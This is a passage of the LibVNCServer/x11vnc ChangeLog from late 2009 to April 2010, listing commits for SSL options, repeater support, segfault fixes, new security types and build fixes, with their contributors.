x11vnc/misc/ultravnc_repeater.pl, 2401 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, 2402 x11vnc/xrecord.c: x11vnc: X11VNC_DISABLE_SSL_CLIENT_MODE option to 2403 disable SSL client role in reverse connections. Improvements to 2404 logging in ultravnc_repeater, ULTRAVNC_REPEATER_NO_RFB option. 2405 Increase SSL timeout and print message if 'repeater' mode is 2406 detected for reverse SSL connection. Fix RECORD scroll XCopyArea 2407 detection with recent gtk/gdk library; set X11VNC_SCROLL_MUST_EQUAL to disable. Limit logging of RECORD error messages. 2408 24092010-04-28 Johannes Schindelin <johannes.schindelin@gmx.de> 2410 2411 * client_examples/Makefile.am: Another try to fix the _SOURCES issue Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2412 24132010-04-28 Corentin Chary <corentin.chary@gmail.com> 2414 2415 * CMakeLists.txt, rfb/rfbconfig.h.cmake: cmake: fix CMakeLists.txt - It's SDL_LIBRARY, not SDL_LIBRARIES - Detect GnuTLS and set the macro in rfbconfig.h - Add tls.c to libvncclient to avoid missing symbols Signed-off-by: Corentin Chary <corentin.chary@gmail.com> 2416 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2417 24182010-04-25 runge <runge@karlrunge.com> 2419 2420 * x11vnc/ChangeLog, x11vnc/README, x11vnc/enc.h, x11vnc/help.c, 2421 x11vnc/remote.c, x11vnc/scan.c, x11vnc/sslhelper.c, 2422 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: incorporate new 2423 ultravnc_dsm_helper.c. 2424 24252010-04-18 runge <runge@karlrunge.com> 2426 2427 * x11vnc/ChangeLog, 2428 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 2429 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 2430 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 2431 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 2432 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa 2433 tch, 2434 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 2435 ll.patch: Sync ssvncviewer changes. 2436 24372010-04-18 runge <runge@karlrunge.com> 2438 2439 * x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, 2440 x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h, 2441 x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, 2442 x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c, 2443 x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, 2444 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, 2445 x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 2446 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: 2447 Improvements to demo scripts. Alias -coe for -connect_or_exit. Fix 2448 HAVE_V4L2. Warn no Xvfb, Xdummy, or Xvnc. Xinerama screens. 2449 24502010-04-09 runge <runge@karlrunge.com> 2451 2452 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 2453 x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c, x11vnc/inet.c, 2454 x11vnc/inet.h, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 2455 x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, 2456 x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, 2457 x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/util.c, x11vnc/x11vnc.1, 2458 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 2459 x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: exit(1) for 2460 -connect_or_exit failure, quiet query mode for grab_state, 2461 pointer_pos, etc. ipv6 support. STUNNEL_LISTEN for particular 2462 interface. -input_eagerly in addition to -allinput. quiet Xinerama 2463 message. 2464 24652010-04-09 runge <runge@karlrunge.com> 2466 2467 * classes/ssl/ss_vncviewer, 2468 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 2469 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Improvements to 2470 Java viewer: troubleshooting settings and workarounds, misc bug 2471 fixes. 2472 24732010-04-09 runge <runge@karlrunge.com> 2474 2475 * x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, 2476 x11vnc/misc/enhanced_tightvnc_viewer/README, 2477 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 2478 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 2479 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 2480 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 2481 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 2482 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 2483 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 2484 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, 2485 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 2486 ll.patch, x11vnc/misc/inet6to4: Synchronize ssvnc 1.0.26. 2487 Improvements to perl scripts desktop.cgi, connect_switch and 2488 inet6to4. 2489 24902010-03-21 runge <runge@karlrunge.com> 2491 2492 * classes/ssl/README, classes/ssl/onetimekey, 2493 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 2494 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 2495 x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, 2496 x11vnc/keyboard.c, x11vnc/misc/Makefile.am, x11vnc/misc/README, 2497 x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, 2498 x11vnc/misc/inet6to4, x11vnc/misc/panner.pl, 2499 x11vnc/misc/ultravnc_repeater.pl, x11vnc/remote.c, 2500 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, 2501 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl: 2502 Many improvements to Java SSL applet, onetimekey serverCert param, 2503 debugging printout, user dialogs, catch socket exceptions, 2504 autodetect x11vnc for GET=1. x11vnc: misc/scripts: desktop.cgi, 2505 inet6to4, panner.pl. X11VNC_HTTPS_DOWNLOAD_WAIT_TIME, -unixpw %xxx 2506 documented, and can run user cmd in UNIXPW_CMD. FD_XDMCP_IF for 2507 create script, autodetect dm on udp6 only. Queries: pointer_x, 2508 pointer_y, pointer_same, pointer_root. Switch on -xkd if keysyms 2509 per key > 4 in all cases. daemon mode improvements for 2510 connect_switch, inet6to4, ultravnc_repeater.pl. Dynamic change of 2511 -clip do not create new fb if WxH is unchanged. 2512 25132010-03-21 runge <runge@karlrunge.com> 2514 2515 * configure.ac: I think two HAVE_X's were missed. 2516 25172010-03-13 Johannes Schindelin <johannes.schindelin@gmx.de> 2518 2519 * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix compilation 2520 without TLS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2521 25222010-03-13 Johannes Schindelin <johannes.schindelin@gmx.de> 2523 2524 * client_examples/Makefile.am, client_examples/SDLvncviewer.c: Fix 2525 compilation with newer automake For some reason, this developer's automake no longer understands 2526 _SOURCES lines anymore. Work around that. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2527 25282010-03-13 Johannes Schindelin <johannes.schindelin@gmx.de> 2529 2530 * client_examples/Makefile.am, configure.ac: Rename HAVE_X -> 2531 HAVE_X11 This change is just for consistency reasons. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2532 25332010-02-22 runge <runge@karlrunge.com> 2534 2535 * classes/ssl/README, 2536 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 2537 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 2538 x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c, 2539 x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/ssltools.h, 2540 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl: 2541 Java SSL applet viewer now works with certificate chains. x11vnc: 2542 Printout option -sslScripts. Suggest -auth guess in error message. 2543 Set fake_screen width and height. Test for +kb in Xvfb. 2544 25452010-01-22 Christian Beier <dontmind@freeshell.org> 2546 2547 * libvncclient/vncviewer.c: libvncclient/vncviewer.c: don't set 2548 serverPort in rfbInitClient(). The serverPort member is already set in rfbGetClient(), if we set it 2549 again in rfbInitClient(), this breaks playing of vncrec files (this 2550 relies on serverPort set to -1). Signed-off-by: Christian Beier <dontmind@freeshell.org> 2551 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2552 25532010-01-16 Johannes Schindelin <johannes.schindelin@gmx.de> 2554 2555 * libvncclient/vncviewer.c: LibVNCClient: make sure that the port is 2556 initialized correctly. While at it, adjust coding style. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2557 25582010-01-15 Vic Lee <llyzs@163.com> 2559 2560 * libvncclient/rfbproto.c, libvncclient/vncviewer.c, 2561 rfb/rfbclient.h: Add UltraVNC Repeater support in libvncclient [jes: adjusted coding style, made sure port is initialized 2562 correctly] Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes 2563 Schindelin <johannes.schindelin@gmx.de> 2564 25652010-01-07 runge <runge@karlrunge.com> 2566 2567 * x11vnc/README, x11vnc/misc/Xdummy, x11vnc/x11vnc.1, 2568 x11vnc/x11vnc_defs.c: x11vnc: add modeline creation to Xdummy. 2569 25702010-01-07 Christian Beier <dontmind@freeshell.org> 2571 2572 * libvncserver/font.c: libvncserver/font.c: add some checks to 2573 rfbDrawChar(). In some cases (bad font data) the coordinates evaluate to <0, 2574 causing a segfault in the following memcpy(). [jes: keep the offset, but do not try to segfault] Signed-off-by: Christian Beier <dontmind@freeshell.org> 2575 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2576 25772010-01-07 Christian Beier <dontmind@freeshell.org> 2578 2579 * vncterm/LinuxVNC.c: LinuxVNC: Fix for no input possible because of 2580 ctrl key being stuck. Issue was reported as Debian bug ##555988, 2581 http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=555988 Signed-off-by: Christian Beier <dontmind@freeshell.org> 2582 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2583 25842010-01-04 Christian Beier <dontmind@freeshell.org> 2585 2586 * vncterm/LinuxVNC.c, vncterm/VNConsole.c: LinuxVNC: fix segfault at 2587 "linuxvnc 1 -help". This fixes Debian Bug #399501: Switch to tty1. Run "linuxvnc 1 2588 -help". You see help text, followed by "Segmentation fault". Signed-off-by: Christian Beier <dontmind@freeshell.org> 2589 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2590 25912010-01-02 runge <runge@karlrunge.com> 2592 2593 * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README, 2594 x11vnc/allowed_input_t.h, x11vnc/appshare.c, x11vnc/avahi.c, 2595 x11vnc/avahi.h, x11vnc/blackout_t.h, x11vnc/cleanup.c, 2596 x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/connections.h, 2597 x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h, 2598 x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, 2599 x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, 2600 x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c, 2601 x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, 2602 x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, 2603 x11vnc/macosxCGS.h, x11vnc/misc/README, x11vnc/misc/Xdummy, 2604 x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/options.c, 2605 x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, 2606 x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, 2607 x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, 2608 x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h, 2609 x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, 2610 x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, 2611 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, 2612 x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h, 2613 x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c, 2614 x11vnc/userinput.h, x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c, 2615 x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/win_utils.h, 2616 x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h, 2617 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, 2618 x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, 2619 x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, 2620 x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, 2621 x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: 2622 small tweaks to Xdummy, rx11vnc*. Apply SMALL_FOOTPRINT to 2623 -appshare text. Copyright year change. 2624 26252010-01-02 runge <runge@karlrunge.com> 2626 2627 * libvncserver/tightvnc-filetransfer/rfbtightserver.c: year++; 2628 26292010-01-02 runge <runge@karlrunge.com> 2630 2631 * ChangeLog, libvncserver/tightvnc-filetransfer/rfbtightserver.c: 2632 tightvnc-filetransfer/rfbtightserver.c: enabled fix for tight 2633 security type for RFB 3.8 (debian bug 517422.) 2634 26352010-01-01 Vic Lee <llyzs@163.com> 2636 2637 * libvncclient/rfbproto.c, libvncclient/vncviewer.c, 2638 rfb/rfbclient.h: Add support for viewers to select security types on 2639 demand Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes 2640 Schindelin <johannes.schindelin@gmx.de> 2641 26422009-12-29 runge <runge@karlrunge.com> 2643 2644 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 2645 x11vnc/misc/Xdummy, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 2646 x11vnc/x11vnc_defs.c: x11vnc: rename -create_x to -create_xsrv. 2647 Hopefully done fixing Xdummy. 2648 26492009-12-28 runge <runge@karlrunge.com> 2650 2651 * x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, 2652 x11vnc/misc/Xdummy, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 2653 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 2654 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 2655 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 2656 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 2657 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 2658 ll.patch, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc, 2659 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, 2660 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Fix problems in 2661 --without-x builds. Fix crash with -QD query for dbus info. Adjust 2662 window size for small screens in -gui. Improve F1 help for xdm, 2663 etc. include ssvnc 1.0.25 source. 2664 26652009-12-24 runge <runge@karlrunge.com> 2666 2667 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 2668 x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/ssltools.h, 2669 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 2670 x11vnc/x11vnc_defs.c: x11vnc: prepare_x11vnc_dist.sh for 0.9.10. 2671 -xdummy_xvfb, -svc_xdummy_xvfb and -create_x shorthand. lxde 2672 session. Xdummy improvements and root no longer required. 2673 26742009-12-20 Vic Lee <llyzs@163.com> 2675 2676 * libvncclient/rfbproto.c: Fix version checking (>=3.8) for 2677 rfbVncAuthOK confirmation when no password required It seems that vino does not send AuthOK when there is no password 2678 with anonymous TLS, and it seems that vino is the only <3.8 VNC 2679 server that handles anonymous TLS at all, so let's not wait for the 2680 packet that will never come. Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes 2681 Schindelin <johannes.schindelin@gmx.de> 2682 26832009-12-21 runge <runge@karlrunge.com> 2684 2685 * x11vnc/ChangeLog, x11vnc/README, x11vnc/sslhelper.c, 2686 x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, 2687 x11vnc/x11vnc_defs.c: x11vnc: -DENC_HAVE_OPENSSL=0 to disable enc.h 2688 but still have ssl. Tweak ps command in find_display. Try to handle AIX su. Ignore an initial newline at login: for -unixpw. 2689 26902009-12-18 runge <runge@karlrunge.com> 2691 2692 * x11vnc/ChangeLog: ChangeLog typo 2693 26942009-12-18 runge <runge@karlrunge.com> 2695 2696 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 2697 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c, 2698 x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 2699 x11vnc/x11vnc_defs.c: Add tag=... to unixpw opts to set FD_TAG. 2700 Prefer Xvfb over Xdummy. Reduce wait time for https. Add 'Login 2701 succeeded' output to unixpw panel. 2702 27032009-12-18 runge <runge@karlrunge.com> 2704 2705 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 2706 x11vnc/help.c, x11vnc/remote.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, 2707 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix keycode and other 2708 remote control actions under DIRECT: with an extra XFlush and other 2709 safety measures. fflush(stderr) much in su_verify. Make the 2710 -unixpw env. vars UNIXPW_DISABLE_SSL and UNIXPW_DISABLE_LOCALHOST 2711 work correctly. Make -loopbg actually imply -bg. 2712 27132009-12-15 runge <runge@karlrunge.com> 2714 2715 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/inet.c, 2716 x11vnc/misc/Makefile.am, x11vnc/misc/connect_switch, 2717 x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c, 2718 x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, 2719 x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c, 2720 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 2721 x11vnc/xdamage.c, x11vnc/xevents.c: X props names via env var. 2722 fakebuttonevent action, connect_switch and ultravnc_repeater.pl 2723 scripts, find_display try FD_XDM on failure, -quiet and -storepasswd 2724 changes, better port 113 testing. 2725 27262009-12-07 runge <runge@karlrunge.com> 2727 2728 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, 2729 x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslhelper.c, 2730 x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 2731 x11vnc/x11vnc_defs.c: X11VNC_EXTRA_HTTPS_PARAMS, 2732 X11VNC_HTTP_LISTEN_LOCALHOST, X11VNC_REOPEN_SLEEP_MAX, 2733 -findauth/-auth guess FD_XDM=1 for root, work around xhost 2734 SI:localuser:root. 2735 27362009-12-05 runge <runge@karlrunge.com> 2737 2738 * classes/ssl/ss_vncviewer, 2739 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 2740 x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, x11vnc/gui.c, 2741 x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Update java 2742 and scripts in classes/ssl. x11vnc: declare crypt() on all 2743 platforms. more wishes. 2744 27452009-12-02 runge <runge@karlrunge.com> 2746 2747 * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, 2748 x11vnc/appshare.c, x11vnc/connections.c, x11vnc/cursor.c, 2749 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c, 2750 x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, x11vnc/remote.c, 2751 x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc, 2752 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, 2753 x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h, 2754 x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/x11vnc.1, 2755 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 2756 x11vnc/xinerama.c, x11vnc/xrandr.c: x11vnc: -appshare mode for 2757 sharing an application windows instead of the entire desktop. map 2758 port + 5500 in reverse connect. Add id_cmd remote control functions 2759 for id (and other) windows. Allow zero port in SSL reverse 2760 connections. Adjust delays between multiple reverse connections; 2761 X11VNC_REVERSE_SLEEP_MAX env var. Add some missing mutex locks; add 2762 INPUT_LOCK and threads_drop_input. More safety in -threads mode for 2763 new framebuffer change. Fix some stderr leaking in -inetd mode. 2764 27652009-12-01 runge <runge@karlrunge.com> 2766 2767 * libvncserver/cursor.c, libvncserver/sockets.c, 2768 libvncserver/translate.c: Add locks of updateMutex in 2769 rfbRedrawAfterHideCursor() and rfbSetClientColourMap(). Up listen 2770 limit from 5 to 32. 2771 27722009-11-18 runge <runge@karlrunge.com> 2773 2774 * x11vnc/misc/enhanced_tightvnc_viewer/README, 2775 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 2776 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 2777 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 2778 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 2779 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 2780 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 2781 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 2782 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 2783 ll.patch: ssvnc/enhanced_tightvnc_viewer update. 2784 27852009-11-18 runge <runge@karlrunge.com> 2786 2787 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 2788 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h, 2789 x11vnc/enc.h, x11vnc/help.c, x11vnc/remote.c, x11vnc/screen.c, 2790 x11vnc/selection.c, x11vnc/solid.c, x11vnc/ssltools.h, 2791 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, 2792 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 2793 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: 2794 -findauth, -auth guess, & etc. 2795 27962009-11-11 Christian Beier <dontmind@freeshell.org> 2797 2798 * libvncclient/listen.c, rfb/rfbclient.h: libvncclient: better 2799 return value for non-forking listen. The return value now better reflects what has happened: 1 on success 2800 (incoming connection on listen socket, we accepted it successfully), 2801 -1 on error, 0 on timeout. Also change the select calls to not check _all_ possible file 2802 descriptors. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2803 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2804 28052009-11-05 Christian Beier <dontmind@freeshell.org> 2806 2807 * libvncclient/listen.c, libvncclient/rfbproto.c, 2808 libvncclient/vncviewer.c, libvncserver/rfbserver.c: Fix checks for 2809 socket values, 0 is a legal value. To make this work, we also have to initialize sockets to a default 2810 value of -1. Also close a client listen socket if it's open. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2811 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2812 28132009-10-31 Christian Beier <dontmind@freeshell.org> 2814 2815 * libvncclient/vncviewer.c: libvncclient: include winsock2.h in 2816 vncviewer.c. fixes warning about closesocket being implicitly declared. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2817 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2818 28192009-11-05 Vic Lee <llyzs@163.com> 2820 2821 * configure.ac: Change GnuTLS minimum requirement to 2.4.0 Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes 2822 Schindelin <johannes.schindelin@gmx.de> 2823 28242009-11-04 Vic Lee <llyzs@163.com> 2825 2826 * client_examples/ppmtest.c, examples/example.c, 2827 libvncclient/sockets.c, libvncclient/zrle.c, libvncserver/cursor.c, 2828 libvncserver/tightvnc-filetransfer/rfbtightserver.c, 2829 vncterm/VNConsole.c: Fix various compilation warnings Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes 2830 Schindelin <johannes.schindelin@gmx.de> 2831 28322009-10-07 Vic Lee <llyzs@163.com> 2833 2834 * libvncclient/rfbproto.c, libvncserver/vncauth.c, rfb/rfbclient.h, 2835 rfb/rfbproto.h: Add MSLogon security type Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes 2836 Schindelin <johannes.schindelin@gmx.de> 2837 28382009-10-31 Johannes Schindelin <johannes.schindelin@gmx.de> 2839 2840 * AUTHORS: Add Alexander to the authors Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2841 28422009-10-31 Christian Beier <dontmind@freeshell.org> 2843 2844 * client_examples/SDLvncviewer.c: SDLvncviewer: don't call clean up 2845 the same client twice. If rfbInitConnection fails, it cleans up the client, so protect 2846 against doing it ourselves again. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2847 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2848 28492009-10-30 Christian Beier <dontmind@freeshell.org> 2850 2851 * client_examples/SDLvncviewer.c: SDLvncviewer: add SIGINT handler 2852 to be able to actually stop program. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2853 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2854 28552009-10-26 Christian Beier <dontmind@freeshell.org> 2856 2857 * client_examples/SDLvncviewer.c: SDLvncviewer: use -listennofork 2858 when -listen specified. As -listen mode isn't really working under UNIX and not at all under 2859 windows, use -listennofork and an outer listen loop instead. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2860 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2861 28622009-10-26 Christian Beier <dontmind@freeshell.org> 2863 2864 * libvncclient/listen.c, libvncclient/vncviewer.c, rfb/rfbclient.h: 2865 libvncclient: add a non-forking listen function. Forking the whole process from deep within a library call does not 2866 really work at all with apps that use multiple threads, i.e. every 2867 reasonably modern GUI app. So, provide a non-forking listen function 2868 so that the caller can decide if to fork, start a thread, etc. This implementation adds a timeout parameter to be able to call the 2869 listen function multiple times so that it's possible to do sth. else 2870 in between, e.g. abort listening. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2871 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2872 28732009-10-21 Christian Beier <dontmind@freeshell.org> 2874 2875 * client_examples/SDLvncviewer.c: SDLvncviewer: make listen mode 2876 work _somewhat_. set the port to listen on and really ensure that the window of the 2877 fork()ed instance is closed. works somewhat: it's now actually possible to listen for an incoming 2878 connection and to close it again, but the second connection attempt 2879 fails with 'XIO: fatal IO error 11 (Resource temporarily 2880 unavailable)'. this could relate to the fact that SDL uses threads 2881 internally and we're fork()ing here... Signed-off-by: Christian Beier <dontmind@freeshell.org> 2882 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2883 28842009-10-30 Christian Beier <dontmind@freeshell.org> 2885 2886 * libvncclient/sockets.c: libvncclient: make listenAtTCPPort() work 2887 under windows. Actually, initSockets() has to be called everywhere we possibly use 2888 sockets the first time. Also fix return value of initSockets(). Signed-off-by: Christian Beier <dontmind@freeshell.org> 2889 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2890 28912009-10-30 Alexander Dorokhine <arrenlex@gmail.com> 2892 2893 * libvncclient/rfbproto.c, libvncclient/vncviewer.c, 2894 rfb/rfbclient.h: libvncclient: Add FinishedFrameBufferUpdate 2895 callback When working on a program which searches the display for some image, 2896 one does not want to search again without getting an FB update. Add 2897 a callback to make this possible. 2898 28992009-10-30 Alexander Dorokhine <arrenlex@gmail.com> 2900 2901 * libvncclient/sockets.c: Fix hostname resolution problems under 2902 Windows On Windows, the WSA system needs to be initialized to be able to 2903 look up host names. This patch also changes *addr = 0 to use the constant 2904 INADDR_LOOPBACK instead, which seems to be required on Windows. 2905 29062009-10-17 runge <runge@karlrunge.com> 2907 2908 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, 2909 x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, 2910 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Workaround for inane 2911 X_ShmAttach incompatibility in Xorg, -solid support in xfce, 2912 showrfbauth option. 2913 